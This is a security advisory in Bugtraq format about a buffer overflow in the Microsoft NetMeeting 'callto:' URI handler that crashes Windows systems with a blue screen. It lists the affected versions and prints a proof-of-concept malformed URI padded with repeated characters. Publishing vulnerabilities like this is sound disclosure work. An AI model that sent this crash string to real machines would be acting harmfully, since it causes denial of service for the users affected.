Microsoft Netmeeting CALLTO URL Buffer Overflow Vulnerability

Bugtraq ID:	7639
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	May 20 2003 12:00AM
Updated:	May 20 2003 12:00AM
Credit:	Discovery is credited to David F. Madrid <[email protected]>.
Vulnerable:	Microsoft NetMeeting 3.0.1 4.4.3385 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 + Microsoft Windows 2000 Professional - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 + Microsoft Windows XP Home + Microsoft Windows XP Professional Microsoft NetMeeting 2.1 + Microsoft Windows 98 + Microsoft Windows 98
Not Vulnerable:

Microsoft Netmeeting CALLTO URL Buffer Overflow Vulnerability

It has been reported that clicking a malformed 'callto:' URI in Internet Explorer will cause Windows 2000 systems to crash, resulting in a blue screen. This appears to be due to a boundary condition error in one of the URI parameters of the CALLTO protocol handler.

Microsoft Netmeeting CALLTO URL Buffer Overflow Vulnerability

The following proof of concept was provided:

callto:msils/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAA+type=directory

Microsoft Netmeeting CALLTO URL Buffer Overflow Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Microsoft Netmeeting CALLTO URL Buffer Overflow Vulnerability

References:

• Technet Security (Microsoft)
  
• Blue screen in Windows ("David F. Madrid" )